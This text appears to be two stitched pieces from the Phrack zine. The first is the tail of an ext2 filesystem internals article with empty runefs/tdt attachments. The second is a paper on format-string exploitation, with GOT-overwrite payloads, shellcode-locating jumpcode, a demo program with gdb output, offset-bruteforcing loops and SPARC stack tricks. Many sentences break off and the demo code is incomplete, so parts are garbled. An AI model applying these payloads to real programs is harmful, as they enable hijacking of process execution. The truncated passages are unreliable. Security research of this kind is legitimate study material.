* i_dtime	The deletion time of the file. If the file is still live
		then the time will be 0x00000000.

* i_gid		The GID of the file.

* i_links_count	The number of times that the file is referenced in the high
		level file system. That is, each hard link to the file
		increments this count. When the last link to the file is
		removed from the FS, and the links count reaches 0, the
		file is deleted. The blocks referenced by the inode are
		marked as free in the bitmap.

* i_blocks	The number of blocks referenced by the inode. This is count
		doesn't include the indirect blocks, only blocks that
		contain actual file content. 

* i_flags	The extended attributes of the ext2fs are accomplished with
		this value. The valid flags are any combination of the
#define	EXT2_SECRM_FL		0x00000001 /* Secure deletion */
#define	EXT2_UNRM_FL		0x00000002 /* Undelete */
#define	EXT2_COMPR_FL		0x00000004 /* Compress file */
#define EXT2_SYNC_FL		0x00000008 /* Synchronous updates */
#define EXT2_IMMUTABLE_FL	0x00000010 /* Immutable file */
#define EXT2_APPEND_FL		0x00000020 /* append only */
#define EXT2_NODUMP_FL		0x00000040 /* do not dump file */
#define EXT2_NOATIME_FL		0x00000080 /* do not update atime */
/* Reserved for compression usage... */
#define EXT2_DIRTY_FL		0x00000100
#define EXT2_COMPRBLK_FL	0x00000200 /* compressed clusters */
#define EXT2_NOCOMP_FL		0x00000400 /* Don't compress */
#define EXT2_ECOMPR_FL		0x00000800 /* Compression error */
/* End compression flags --- maybe not all used */	
#define EXT2_BTREE_FL		0x00001000 /* btree format dir */
#define EXT2_RESERVED_FL	0x80000000 /* reserved for ext2 lib */

* i_block[]	The block pointers. There are 15 array elements, the first
		12 elements are direct blocks pointers; their blocks
		contain actual file content. The 13th element points to a
		block that acts as an extension of the array. This block is
		an indirect block, and the pointers it contains point to
		additional direct blocks. The 14th element points to a block
		containing an array of block pointers to indirect blocks.
		This element is the doubly indirect block. The last element
		is the trebly indirect block. This block contains pointers
		to doubly indirect blocks.
#define	EXT2_NDIR_BLOCKS		12
#define	EXT2_DIND_BLOCK			(EXT2_IND_BLOCK + 1)
#define	EXT2_N_BLOCKS			(EXT2_TIND_BLOCK + 1)

* i_version	The file version. Doesn't appear to be used.

* i_file_acl	A pointer to an ACL list. This is not used on ext2, as
		there are no ACLs implemented for this version of the file

* i_dir_acl	A pointer to an ACL list. This is not used on ext2 as an
		ACL pointer, but rather as the value: [ i_size_high ]. This
		is an additional 32bits of file size, allowing the file size
		to be treated as a 64bit unsigned intetger. This is not
		generally used on ext2fs.

* i_faddr	The fragment address. Fragments are not used on the ext2fs;
		therefore, this value is always 0.

Certain inodes have special significance within the file system.

#define EXT2_BAD_INO             1      /* Bad blocks inode */
#define EXT2_ROOT_INO            2      /* Root inode */
#define EXT2_ACL_IDX_INO         3      /* ACL inode */
#define EXT2_ACL_DATA_INO        4      /* ACL inode */
#define EXT2_BOOT_LOADER_INO     5      /* Boot loader inode */
#define EXT2_UNDEL_DIR_INO       6      /* Undelete directory inode */

    The bad blocks inode contains block pointers to data blocks that occupy
bad sectors of the hard disk. The root inode is the root directory that
contains the head of the file system tree. The other inodes are not
typically used on production systems. The first inode used for user files
is inode 11. This inode is the directory "lost+found", created by the tool

		. o O ( S U P E R B L O C K ) O o .

    The super block is the most basic means that the kernel has of
determining the status of the file system. It indicates the number of
inodes, blocks, and groups, in addition to various other pieces of
information. The elements within the super block structure change more
rapidly than the inode or group data. This is because libext2fs adds
features to the ext2fs which might not be implemented in the kernel. The
format we examine is from e2fsprogs-1.19.

    The super block is 1024 bytes in size, and offset 1024 bytes from the
start of the partition.

The format of the super block is as follows:
struct ext2fs_sb {
	__u32	s_inodes_count;		/* Inodes count */
	__u32	s_blocks_count;		/* Blocks count */
	__u32	s_r_blocks_count;	/* Reserved blocks count */
	__u32	s_free_blocks_count;	/* Free blocks count */
	__u32	s_free_inodes_count;	/* Free inodes count */
	__u32	s_first_data_block;	/* First Data Block */
	__u32	s_log_block_size;	/* Block size */
	__s32	s_log_frag_size;	/* Fragment size */
	__u32	s_blocks_per_group;	/* # Blocks per group */
	__u32	s_frags_per_group;	/* # Fragments per group */
	__u32	s_inodes_per_group;	/* # Inodes per group */
	__u32	s_mtime;		/* Mount time */
	__u32	s_wtime;		/* Write time */
	__u16	s_mnt_count;		/* Mount count */
	__s16	s_max_mnt_count;	/* Maximal mount count */
	__u16	s_magic;		/* Magic signature */
	__u16	s_state;		/* File system state */
	__u16	s_errors;		/* Behaviour when detecting errors */
	__u16	s_minor_rev_level; 	/* minor revision level */
	__u32	s_lastcheck;		/* time of last check */
	__u32	s_checkinterval;	/* max. time between checks */
	__u32	s_creator_os;		/* OS */
	__u32	s_rev_level;		/* Revision level */
	__u16	s_def_resuid;		/* Default uid for reserved blocks */
	__u16	s_def_resgid;		/* Default gid for reserved blocks */
	 * These fields are for EXT2_DYNAMIC_REV superblocks only.
	 * Note: the difference between the compatible feature set and
	 * the incompatible feature set is that if there is a bit set
	 * in the incompatible feature set that the kernel doesn't
	 * know about, it should refuse to mount the filesystem.
	 * e2fsck's requirements are more strict; if it doesn't know
	 * about a feature in either the compatible or incompatible
	 * feature set, it must abort and not try to meddle with
	 * things it doesn't understand...
	__u32	s_first_ino; 		/* First non-reserved inode */
	__u16   s_inode_size; 		/* size of inode structure */
	__u16	s_block_group_nr; 	/* block group # of this superblock */
	__u32	s_feature_compat; 	/* compatible feature set */
	__u32	s_feature_incompat; 	/* incompatible feature set */
	__u32	s_feature_ro_compat; 	/* readonly-compatible feature set */
	__u8	s_uuid[16];		/* 128-bit uuid for volume */
	char	s_volume_name[16]; 	/* volume name */
	char	s_last_mounted[64]; 	/* directory where last mounted */
	__u32	s_algorithm_usage_bitmap; /* For compression */
	 * Performance hints.  Directory preallocation should only
	 * happen if the EXT2_FEATURE_COMPAT_DIR_PREALLOC flag is on.
	__u8	s_prealloc_blocks;	/* Nr of blocks to try to preallocate*/
	__u8	s_prealloc_dir_blocks;	/* Nr to preallocate for dirs */
	__u16	s_padding1;
	 * Journaling support.
	__u8	s_journal_uuid[16];	/* uuid of journal superblock */
	__u32	s_journal_inum;		/* inode number of journal file */
	__u32	s_journal_dev;		/* device number of journal file */
	__u32	s_last_orphan;      /* start of list of inodes to delete */
	__u32	s_reserved[197];    /* Padding to the end of the block   */

* s_inodes_count	The total number of inodes within the file system.

* s_blocks_count	The total number of blocks within the file system.

* s_r_blocks_count	The number of blocks reserved for the super user.
			If the FS becomes too full, these last reserved
			blocks will prevent users from making the FS

* s_free_blocks_count	The number of unused blocks. This value is
			constantly updated as blocks are freed or

* s_free_inodes_count	The number of unused inodes. This value is
			constantly updates as inodes are freed or allocated.

* s_first_data_block	A pointer to the first data block, after all the
			blocks used to store inode tables, bitmaps and
			groups. This value is either 0, or the correct

* s_log_block_size	The size of a block. This value is stored as a
			shift value. The number to be shifted is 1024;
			therefore, to retrive the actual block size use:
				bs = 1024 << sb.s_log_block_size;

* s_log_frag_size	The size of a fragment. This value is stored as a
			shift value. Fragments are not used on the ext2fs;
			therefore, this value is ignored.

* s_blocks_per_group	The number of blocks in a group.

* s_frags_per_group	The number of fragments in a group.

* s_inodes_per_group	The number of inodes in a group.

* s_mtime		The last time the file system was mounted. All time
			values are stored as seconds since the epoch.

* s_wtime		The last time the file system was written.

* s_mnt_count		The number of times the file system has been

* s_max_mnt_count	The maximum number of times the file system can be
			mounted before it needs to be fsck'd. The default
			value is 20.

* s_magic		The magic number of the file system: 0xEF53.

* s_state		The state of the file system: either clean, or
			dirty. The flags are as follows:
#define EXT2_VALID_FS                   0x0001  /* Unmounted cleanly */
#define EXT2_ERROR_FS                   0x0002  /* Errors detected */

* s_errors		The response to take when an error is encountered.
			The following are valid values:
#define EXT2_ERRORS_CONTINUE            1       /* Continue execution */
#define EXT2_ERRORS_RO                  2       /* Remount fs read-only */
#define EXT2_ERRORS_PANIC               3       /* Panic */

* s_minor_rev_level	The minor number of the ext2fs revision. This value
			can be safely ignored.

* s_lastcheck		The last time the file system was fsck'd, stored in
			typical Unix sec's since epoch format.

* s_checkinterval	The maximum amount of time that can elapse between
			fsckings. The file system needs to fscked if either
			this value is exceeded, or s_max_mnt_count.  

* s_creator_os		The OS that created this file system. Valid values
			are as follows:
#define EXT2_OS_LINUX           0
#define EXT2_OS_HURD            1
#define EXT2_OS_MASIX           2
#define EXT2_OS_FREEBSD         3
#define EXT2_OS_LITES           4

* s_rev_level		The revision of the file system. The only
			difference in values deals with inode sizes. The
			current version uses a fixed inode size of 128
			bytes.  The following are valid values:
#define EXT2_GOOD_OLD_REV       0   /* The good old (original) format   */
#define EXT2_DYNAMIC_REV        1   /* V2 format w/ dynamic inode sizes */

* s_def_resuid		Default UID for reserved blocks. The default is 0.

* s_def_resgid		Default GID for reserved blocks. The default is 0.

* s_first_ino		The first non reserved inode. Inodes < 10 are
			reserved, so the first valid inode number is 11.
			This inode is almost always the file "lost+found".

* s_inode_size		The size of an inode. The size is 128 bytes for
			current ext2fs implementations.

* s_block_group_nr	The block group that this super block is stored in. 

* s_feature_compat	Flags of features that this ext2fs supports.  Valid
			features are the following:
#define EXT2_FEATURE_COMPAT_DIR_PREALLOC        0x0001

* s_feature_incompat	Flags of features that this ext2fs doesnt' support. 
			Valid incompatabilities are the following:
#define EXT2_FEATURE_INCOMPAT_FILETYPE          0x0002

* s_feature_ro_compat	Flags of features that this ext2fs supports as read
			only.  Valid features are as follows:
#define EXT2_FEATURE_RO_COMPAT_LARGE_FILE       0x0002
#define EXT2_FEATURE_RO_COMPAT_BTREE_DIR        0x0004

* s_uuid		The unique ID of this ext2fs.

* s_volume_name		The name of the volume. (I don't know what this is
			used for, but it sertainly isn't important).

* s_last_mounted	The directory on which this file system was last

* s_algorithm_usage_bitmap	(I don't know how this is used. No
				interest in FS compression.)

* s_prealloc_blocks	The number of blocks to try to preallocate for a

* s_prealloc_dir_blocks	The number of block to try to preallocate for a
			directory file.

* s_padding1		padding. 

* s_journal_*		(I don't have journalling support on my FS,
			therefore I do not know how these values are used.)
* s_reserverd[]		This is padding to fill the super block out to 1024

		. o O ( G R O U P S ) O o .

    Ext2fs groups are used to organise clusters of blocks and inodes.
Groups each contain a bitmap of free inodes, and one of free blocks.
Additionally each group has a copy of the super block to help prevent
against catastrophic data loss. Group descriptors are stored on the blocks
immediately after the super block, following them are bitmaps and inode
tables, and following that data blocks.

The format of a group descriptor is as follows:
struct ext2_group_desc
        __u32   bg_block_bitmap;                /* Blocks bitmap block */
        __u32   bg_inode_bitmap;                /* Inodes bitmap block */
        __u32   bg_inode_table;         /* Inodes table block */
        __u16   bg_free_blocks_count;   /* Free blocks count */
        __u16   bg_free_inodes_count;   /* Free inodes count */
        __u16   bg_used_dirs_count;     /* Directories count */
        __u16   bg_pad;
        __u32   bg_reserved[3];

* bg_block_bitmap	A block pointer to the block bitmap. The bits in
			the bitmap are set to indicate free/in-use.

* bg_inode_bitmap	A block pointer to the inode bitmap. The bits in
			the bitmap are set to indicate free/in-use.

* bg_inode_table	A block pointer to the start of the inode table.

* bg_free_blocks_count	The number of blocks within the group that are
			available for use.

* bg_free_inodes_count	The number of inodes within the group that are
			available for use.

* bg_used_dirs_count	The number of inodes from this group used for
			directory files.

* bg_pad		padding.
* pg_reserved[]		padding.

		. o O ( D I R E C T O R I E S ) O o .

    Directories are used to organize files at the Operating system level.
The contents of a directory file is an array of directory entry structures.
Each contains the name of a file within the directory, and the inode of
that file. 

The format of ext2 directory entries is as follows:
struct ext2_dir_entry_2 {
        __u32   inode;                  /* Inode number */
        __u16   rec_len;                /* Directory entry length */
        __u8    name_len;               /* Name length */
        __u8    file_type;
        char    name[EXT2_NAME_LEN];    /* File name */

* inode		The inode number of the file within the directory. If a
                file has been deleted, the inode number is set to 0.

* rec_len	The size of the directory entry. As the length of the name
		can be anything up to 255 byte, this allows for more
		efficient use of space within the directory file.

* name_len	The length of the file's name. This can be up to 255 bytes.

* file_type	The type of file, i.e. symlink, device, etc. etc. The
		following are valid values:
#define EXT2_FT_UNKNOWN         0
#define EXT2_FT_REG_FILE        1
#define EXT2_FT_DIR             2
#define EXT2_FT_CHRDEV          3
#define EXT2_FT_BLKDEV          4
#define EXT2_FT_FIFO            5
#define EXT2_FT_SOCK            6
#define EXT2_FT_SYMLINK         7

    This concludes the walk through of the physical layout of the ext2 file
system. Further information is available from

----[ 8.2 - runefs.tar.gz (uuencoded)

begin 600 runefs.tar.gz

----[ 8.3 - tdt.tar.gz (uuencoded)

begin 600 tdt.tar.gz

|=[ EOF ]=---------------------------------------------------------------=|


                             ==Phrack Inc.==

                  0x0b, Issue 0x3b, Phile #0x07 of 0x12

|=-------------=[ Advances in format string exploitation ]=--------------=|
|=---------=[ by gera <>, riq <> ]=---------=|

    1 - Intro

    Part I 
    2 - Bruteforcing format strings

    3 - 32*32 == 32 - Using jumpcodes 
      3.1 - write code in any known address
      3.2 - the code is somewhere else
      3.3 - friendly functions
      3.4 - no weird addresses 

    4 - n times faster
      4.1 - multiple address overwrite
      4.2 - multiple parameters bruteforcing

    Part II
    5 - Exploiting heap based format strings

    6 - the SPARC stack
    7 - the trick
      7.1 - example 1
      7.2 - example 2
      7.3 - example 3
      7.4 - example 4

    8 - building the 4-bytes-write-anything-anywhere primitive
      8.1 - example 5

    9 - the i386 stack
      9.1 - example 6
      9.2 - example 7 - the pointer generator

    10 - conclusions
      10.1 - is it dangerous to overwrite the l0 (on the stack frame) ?
      10.2 - is it dangerous to overwrite the ebp (on the stack frame) ?
      10.3 - is this reliable ?

    The End
    11 - more greets and thanks

    12 - References

--[ 1. Intro

   Is there anything else to say about format strings after all this time?
 probably yes, or at least we are trying... To start with, go get scut's
 excellent paper on format strings [1] and read it.

   This text deals with 2 different subjects. The first is about different
 tiny tricks that may help speeding up bruteforcing when exploiting format
 strings bugs, and the second is about exploting heap based format strings

   So fasten your seatbelts, the trip has just begun.

--[ Part I - by gera
--[ 2. Bruteforcing format strings

        "...Bruteforcing is not a very happy term, and doesn't make
        justice for a lot of exploit writers, as most of the time a
        lot of brain power is used to solve the problem in better
        ways than just brute force..."

    My greets to all those artists who inspired this phrase, specially
 ~{MaXX,dvorak,Scrippie}, scut[], lg(zip) and lorian+k.

--[ 3. 32*32 == 32 - Using jumpcodes 

    Ok, first things first...

    A format string lets you, after dealing with it, write what you want
where you want... I like to call this a write-anything-anywhere primitive,
and the trick described here can be used whenever you have a
write-anything-anywhere primitive, be it a format string, an overflow over
the "destination pointer of a strcpy()", several free()s in a row, a
ret2memcpy buffer overflow, etc.

    Scut[1], shock[2], and others[3][4] explain several methods to hook the
execution flow using a write-anything-anywhere primitive, namely changing
GOT, changing some function pointer, atexit() handlers, erm... a virtual
member of a class, etc.  When you do so, you need to know, guess or predict
2 different addresses: function pointer's address and shellcode's address,
each has 32 bits, and if you go blindly bruteforcing, you'll need to get 64
bits... well, this is not true, suppose GOT's address always starts with,
mmm... 0x0804 and that your code will be in, erm... 0x0805... ok, for linux
this may even be true, so it's not 64 bits, but 32 total, so it's just
4,294,967,296 tries...  well, no, because you may be able to provide a
cushion of 4K nops, so it goes down to 1,048,576 tries, and as GOT must be
walked on 4 bytes steps, it's just 262,144... heh, all theese numbers are
just... erm... nonsense.

    Well, sometimes there are other tricks you can do, use a read primitive
to learn something from the target process, or turn a write primitive into
a read primitive, or use more nops, or target stack or just hardcode some
addresses and go happy with it...

    But, there is something else you can do, as you are not limited to
writing only 4 bytes, you can write more than the address to the shellcode,
you can also write the shellcode!

----[ 3.1. write code in any known address

    Even with a single format string bug you can write not only more than
4, bytes, but you can also write them to different places in memory, so you
can choose any known to be writable and executable address, lets say,
0x8051234 (for some target program running on some linux), write some code
there, and change the function pointer (GOT, atexit()'s functions, etc) to
point it:

               GOT[read]:     0x8051234     ; of course using read is just
                                            ; an example

               0x8051234:     shellcode

    What's the difference? Well... shellcode's address is now known, it's
always 0x8051234, hence you only have to bruteforce function pointer's
address, cutting down the number of bits to 15 in the worst case.

    Ok, right, you got me... you cannot write a 200 bytes shellcode using
this technique with a format string (or can you?), maybe you can write a
30 bytes shellcode, but maybe you only have a few bytes... so, we need a
really small jumpcode for this to work.

----[ 3.2. the code is somewhere else

    I'm pretty sure you'll be able to put the code somewhere in target's
memory, in stack or in heap, or somewhere else (!?). If this is the case,
we need our jumpcode to locate the shellcode and jump there, what could
be really easy, or a little more tricky.

    If the shellcode is somewhere in stack (in the same format string
perhaps?) and if you can, more or less, know how far from the SP it will be
when the jumpcode is executed, you can jump relative to the SP with just 8
or 5 bytes:

              GOT[read]:      0x8051234

              0x8051234:      add $0x200, %esp   ; delta from SP to code
                              jmp *%esp          ; just use esp if you can

              esp+0x200:      nops...            ; just in case delta is
                                                 ; not really constant
                              real shellcode     ; this is not writen using
                                                 ; the format string

    Is the code in heap?, but you don't have the slightest idea where it
is? Just follow Kato (this version is 18 bytes, Kato's version is a little
longer, but only made of letters, he didn't use a format string though):

              GOT[read]:      0x8051234

              0x8051234:      cld
                              mov $0x4f54414a,%eax   ; so it doesn find
                              inc %eax               ; itself (tx juliano)
                              mov $0x804fff0, %edi   ; start searching low
                                                     ; in memory
                              repne scasl
                              jcxz .-2               ; keep searching!
                              jmp *$edi              ; upper case letters
                                                     ; are ok opcodes.

                in heap:      'KATO'            ; if you know the alignment
                              'KKATO'           ; one is enough, otherwise
                              'KKATO'           ; make some be found
                              real shellcode
    Is it in stack but you don't know where? (10 bytes)

              GOT[read]:      0x8051234

              0x8051234:      mov $0x4f54414a,%ebx   ; so it doesn find
                              inc %ebx               ; itself (tx juliano)
                              pop %eax
                              cmp %ebx, %eax
                              jnz .-3
                              jmp *$esp

               in stack:      'KATO'            ; you'll know the alignment
                              real shellcode

    Something else? ok, you figure your jumpcode yourself :-) But be
carefull!  'KATO' may not be a good string, as it's executed and has some
side effect. :-)
    You may even use a jumpcode which copies from stack to heap if the
stack is not executable but the heap is.

----[ 3.3. friendly functions

    When changing GOT you can choose what function pointer you want to use,
some functions may be better than others for some targets. For example, if
you know that after you changed the function pointer, the buffer containing
the shellcode will be free()ed, you can just do: (2 bytes)

              GOT[free]:      0x8051234          ; using free this time

              0x8051234:      pop %eax           ; discarding real ret addr
                              ret                ; jump to free's argument    
    The same may happen with read() if the same buffer with the shellcode
is reused to read more from the net, or syslog() or a lot of other
functions...  Sometimes you may need a jumpcode a little more complex if
you need to skip some bytes at the beggining of the shellcode:
(7 or 10 bytes)

              GOT[syslog]:    0x8051234          ; using syslog

              0x8051234:      pop %eax           ; discarding real ret addr
                              pop %eax
                              add $0x50, %eax    ; skip some non-code bytes
                              jmp *$eax

    And if nothing else works, but you can distinguish between a crash and
a hung, you can use a jumpcode with an infinite loop that will make the
target hung: You bruteforce GOT's address until the server hungs, then you
know you have the right address for some GOT entry that works, and you can
start bruteforcing the address for the real shellcode.

              GOT[exit]:      0x8051234

              0x8051234:      jmp .              ; infinite loop

----[ 3.4. no weird addresses 

    As I don't like choosing arbitrary addresses, like 0x8051234, what we
can do is something a little different:

              GOT[free]:      &GOT[free]+4       ; point it to next 4 bytes
                              jumpcode           ; address is &GOT[free]+4

    You don't really know GOT[free]'s address, but on every bruteforcing
step you are assuming you know it, then, you can make it point 4 bytes
ahead of it, where you can place the jumpcode, i.e. if you assume your
GOT[free] is at 0x8049094, your jumpcode will be at 0x8049098, then, you
have to write the value 0x8049098 to the address 0x8049094 and the
jumpcode to 0x8049098:

  /* fs1.c                                                   *
   * demo program to show format strings techinques          *
   * specially crafted to feed your brain by */

  int main() {
    char buf[1000];

      "\x94\x90\x04\x08"          // GOT[free]'s address
      "\x96\x90\x04\x08"          // 
      "\x98\x90\x04\x08"          // jumpcode address (2 byte for the demo)
      "%.37004u"                  // complete to 0x9098 (0x9098-3*4)
      "%8$hn"                     // write 0x9098 to 0x8049094
      "%.30572u"                  // complete to 0x10804 (0x10804-0x9098)
      "%9$hn"                     // write 0x0804 to 0x8049096
      "%.47956u"                  // complete to 0x1c358 (0x1c358-0x10804)
      "%10$hn"                    // write 5B C3 (pop - ret) to 0x8049098


  gera@vaiolent:~/papers/gera$ make fs1
  cc     fs1.c   -o fs1

  gera@vaiolent:~/papers/gera$ gdb fs1
  (gdb) br main
  Breakpoint 1 at 0x8048439

  (gdb) r
  Breakpoint 1, 0x08048439 in main ()

  (gdb) n

  (gdb) x/x 0x8049094
  0x8049094:    0x08049098

  (gdb) x/2i 0x8049098
  0x8049098:    pop    %eax
  0x8049099:    ret    

    So, if the address of the GOT entry for free() is 0x8049094, the next
time free() is called in the program our little jumpcode will be called

    This last method has another advantage, it can be used not only on
format strings, where you can make every write to a different address, but
it can also be used with any write-anything-anywhere primitive, like a
"destination pointer of strcpy()" overwrite, or a ret2memcpy buffer
overflow. Or if you are as lucky [or clever] as lorian, you may even do
it with a single free() bug, as he teached me to do.

--[ 4. n times faster

----[ 4.1. multiple address overwrite

    If you can write more than 4 bytes, you can not only put the shellcode
or jumpcode where you know it is, you can also change several pointers at
the same time, speeding up things again.

    Of course this can be done, again, with any write-anything-anywhere
primitive which let's you write more than just 4 bytes, and, as we are
going to write the same values to all the pointers, there is a cheap way to
do it with format strings.

    Suppose we are using the following format string to write 0x12345678 at
the address 0x08049094:

    "\x94\x90\x04\x08"          // the address to write the first 2 bytes
    "AAAA"                      // space for 2nd %.u
    "\x96\x90\x04\x08"          // the address for the next 2 bytes
    "%08x%08x%08x%08x%08x%08x"  // pop 6 arguments
    "%.22076u"                  // complete to 0x5678 (0x5678-4-4-4-6*8)
    "%hn"                       // write 0x5678 to 0x8049094
    "%.48060u"                  // complete to 0x11234 (0x11234-0x5678)
    "%hn"                       // write 0x1234 to 0x8049096

    As %hn does not add characters to the output string, we can write the
same value to several locations without having to add more padding. For
example, to turn this format string into one that writes the value
0x12345678 to 5 consecutive words starting in 0x8049094 we can use:

    "\x94\x90\x04\x08"          // addresses where to write 0x5678
    "\x98\x90\x04\x08"          // 
    "\x9c\x90\x04\x08"          //
    "\xa0\x90\x04\x08"          //
    "\xa4\x90\x04\x08"          //
    "AAAA"                      // space for 2nd %.u
    "\x96\x90\x04\x08"          // addresses for 0x1234
    "\x9a\x90\x04\x08"          //
    "\x9e\x90\x04\x08"          //
    "\xa2\x90\x04\x08"          //
    "\xa6\x90\x04\x08"          //
    "%08x%08x%08x%08x%08x%08x"  // pop 6 arguments
    "%.22044u"                  // complete to 0x5678: 0x5678-(5+1+5)*4-6*8
    "%hn"                       // write 0x5678 to 0x8049094
    "%hn"                       // write 0x5678 to 0x8049098
    "%hn"                       // write 0x5678 to 0x804909c
    "%hn"                       // write 0x5678 to 0x80490a0
    "%hn"                       // write 0x5678 to 0x80490a4
    "%.48060u"                  // complete to 0x11234 (0x11234-0x5678)
    "%hn"                       // write 0x1234 to 0x8049096
    "%hn"                       // write 0x1234 to 0x804909a
    "%hn"                       // write 0x1234 to 0x804909e
    "%hn"                       // write 0x1234 to 0x80490a2
    "%hn"                       // write 0x1234 to 0x80490a6

    Or the equivalent using direct parameter access.

    "\x94\x90\x04\x08"          // addresses where to write 0x5678
    "\x98\x90\x04\x08"          // 
    "\x9c\x90\x04\x08"          //
    "\xa0\x90\x04\x08"          //
    "\xa4\x90\x04\x08"          //
    "\x96\x90\x04\x08"          // addresses for 0x1234
    "\x9a\x90\x04\x08"          //
    "\x9e\x90\x04\x08"          //
    "\xa2\x90\x04\x08"          //
    "\xa6\x90\x04\x08"          //
    "%.22096u"                  // complete to 0x5678 (0x5678-5*4-5*4)
    "%8$hn"                     // write 0x5678 to 0x8049094
    "%9$hn"                     // write 0x5678 to 0x8049098
    "%10$hn"                    // write 0x5678 to 0x804909c
    "%11$hn"                    // write 0x5678 to 0x80490a0
    "%12$hn"                    // write 0x5678 to 0x80490a4
    "%.48060u"                  // complete to 0x11234 (0x11234-0x5678)
    "%13$hn"                    // write 0x1234 to 0x8049096
    "%14$hn"                    // write 0x1234 to 0x804909a
    "%15$hn"                    // write 0x1234 to 0x804909e
    "%16$hn"                    // write 0x1234 to 0x80490a2
    "%17$hn"                    // write 0x1234 to 0x80490a6

    In this example, the number of "function pointers" to write at the same
time was set arbitrary to 5, but it could have been another number. The
real limit depends on the length of the string you can supply, how many
arguments you need to pop to get to the addresses if you are not using
direct parameter access, if there is a limit for direct parameters access
(on Solaris' libraries it's 30, on some Linuxes it's 400, and there may be
other variations), etc.

    If you are going to combine a jumpcode with multiple address overwrite,
you need to have in mind that the jumpcode will not be just 4 bytes after
the function pointer, but some more, depending on how many addresses you'll
overwrite at once.

----[ 4.2. multiple parameter bruteforcing

    Sometimes you don't know how many parameters you have to pop, or how
many to skip with direct parameter access, and you need to try until you
hit the right number. Sometimes it's possible to do it in a more
inteligent way, specially when it's not a blind format string (did I say
it already? go read scut's paper [1]!). But anyway, there may be cases
when you don't know how many parameters to skip, and have to find it out
trying, as in the next pythonish example:

    pops = 8
    worked = 0
    while (not worked):
      fstring  = "\x94\x90\x04\x08"        # GOT[free]'s address
      fstring += "\x96\x90\x04\x08"        # 
      fstring += "\x98\x90\x04\x08"        # jumpcode address
      fstring += "%.37004u"                # complete to 0x9098
      fstring += "%%%d$hn" % pops          # write 0x9098 to 0x8049094
      fstring += "%.30572u"                # complete to 0x10804
      fstring += "%%%d$hn" % (pops+1)      # write 0x0804 to 0x8049096
      fstring += "%.47956u"                # complete to 0x1c358
      fstring += "%%%d$hn" % (pops+2)      # write (pop - ret) to 0x8049098
      worked = try_with(fstring)
      pops += 1

    In this example, the variable 'pops' is incremented while trying to
hit the right number for direct parameter access. If we repeat the target
addresses, we can build a format string which lets us increment 'pops'
faster. For example, repeating each address 5 times we get a faster

    pops = 8
    worked = 0
    while (not worked):
      fstring  = "\x94\x90\x04\x08" * 5    # GOT[free]'s address
      fstring += "\x96\x90\x04\x08" * 5    # repeat eddress 5 times
      fstring += "\x98\x90\x04\x08" * 5    # jumpcode address
      fstring += "%.37004u"                # complete to 0x9098
      fstring += "%%%d$hn" % pops          # write 0x9098 to 0x8049094
      fstring += "%.30572u"                # complete to 0x10804
      fstring += "%%%d$hn" % (pops+6)      # write 0x0804 to 0x8049096
      fstring += "%.47956u"                # complete to 0x1c358
      fstring += "%%%d$hn" % (pops+11)     # write (pop - ret) to 0x8049098
      worked = try_with(fstring)
      pops += 5

    Hitting any of the 5 copies well be ok, the most copies you can put
the better.
    This is a simple idea, just repeat the addresses. If it's confusing,
grab pen and paper and make some drawings, first draw a stack with the
format string in it, and some random number of arguments on top of it, and
then start doing the bruteforcing manually... it'll be fun! I guarantee
it! :-)
    It may look stupid but may help you some day, you never know... and of
course the same could be done without direct parameter access, but it's a
little more complicated as you have to recalculate the length for %.u
format specifiers on every try.

--[ unnamed and unlisted seccion

    Through this text my only point was: a format string is more than a
mere 4-bytes-write-anything-anywhere primitive, it's almost a full
write-anything-anywhre primitive, which gives you more posibilities.

    So far so good, the rest is up to you...

--[ Part II - by riq
--[ 5. Exploiting heap based format strings

  Usually the format strings lies on the stack. But there are cases where
it is stored on the heap, and you CAN'T see it.

  Here I present a way to deal with these format strings in a generic way
within SPARC (and big-endian machines), and at the end we'll show you how
to do the same for little-endian machines.

--[ 6. The SPARC stack

  In the stack you will find stack frames. These stack frames have local 
variables, registers, pointers to previous stack frames, return addresses,

  Since with format strings we can see the stack, we are going to study
it more carefully.

  The stack frames in SPARC looks more or less like the following:

          frame 0              frame 1               frame 2
         [  l0   ]     +----> [  l0   ]      +----> [  l0   ]
         [  l1   ]     |      [  l1   ]      |      [  l1   ]
            ...        |         ...         |         ...   
         [  l7   ]     |      [  l7   ]      |      [  l7   ]
         [  i0   ]     |      [  i0   ]      |      [  i0   ]
         [  i1   ]     |      [  i1   ]      |      [  i1   ]
            ...        |         ...         |         ...   
         [  i5   ]     |      [  i5   ]      |      [  i5   ]
         [  fp   ] ----+      [  fp   ]  ----+      [  fp   ]
         [  i7   ]            [  i7   ]             [  i7   ]
         [ temp 1]            [ temp 1]
                              [ temp 2]

  And so on...

  The fp register is a pointer to the caller frame pointer. As you may
guess, 'fp' means frame pointer.  

  The temp_N are local variables that are saved in the stack. The frame 1
starts where the frame 0's local variables end, and the frame 2 starts,
where the frame 1's local variables end, and so on.

  All these frames are stored in the stack. So we can see all of these
stack frames with our format strings.

--[ 7. the trick

  The trick lies in the fact that every stack frame has a pointer to the
previous stack frame. Furthermore, the more pointers to the stack we have,
the better.

  Why ? Because if we have a pointer to our own stack, we can overwrite the
address that it points to with any value.

--[ 7.1. example 1

 Suppose that we want to put the value 0x1234 in frame 1's l0. What we will
try to do is to build a format string, whose length is 0x1234, by the time
we've reached stack frame 0's fp with a %n.

  Supposing that the first argument that we see is the frame 0's l0
register, we should have a format string like the following (in python):

  '%8x' * 8 +     # pop the 8 registers 'l'
  '%8x' * 5 +     # pop the first 5 'i' registers
  '%4640d'  +     # modify the length of my string (4640 is 0x1220) and...
  '%n'            # I write where fp is pointing (which is frame 1's l0)

  So, after the format string has been executed, our stack should look like

          frame 0              frame 1 
         [  l0   ]     +----> [ 0x00001234 ]
         [  l1   ]     |      [  l1   ]
            ...        |         ...   
         [  l7   ]     |      [  l7   ]
         [  i0   ]     |      [  i0   ]
         [  i1   ]     |      [  i1   ]
            ...        |         ...   
         [  i5   ]     |      [  i5   ]
         [  fp   ] ----+      [  fp   ]
         [  i7   ]            [  i7   ]
         [ temp 1]            [ temp 1]
                              [ temp 2]

--[ 7.2. example 2

  If we decided on a bigger number, like 0x20001234, we should find 2
pointers that point to the same address in the stack. It should be
something like this:

          frame 0              frame 1 
         [  l0   ]     +----> [  l0   ]
         [  l1   ]     |      [  l1   ]
            ...        |         ...   
         [  l7   ]     |      [  l7   ]
         [  i0   ]     |      [  i0   ]
         [  i1   ]     |      [  i1   ]
            ...        |         ...   
         [  i5   ]     |      [  i5   ]
         [  fp   ] ----+      [  fp   ]
         [  i7   ]     |      [  i7   ]
         [ temp 1] ----+      [ temp 1]
                              [ temp 2]

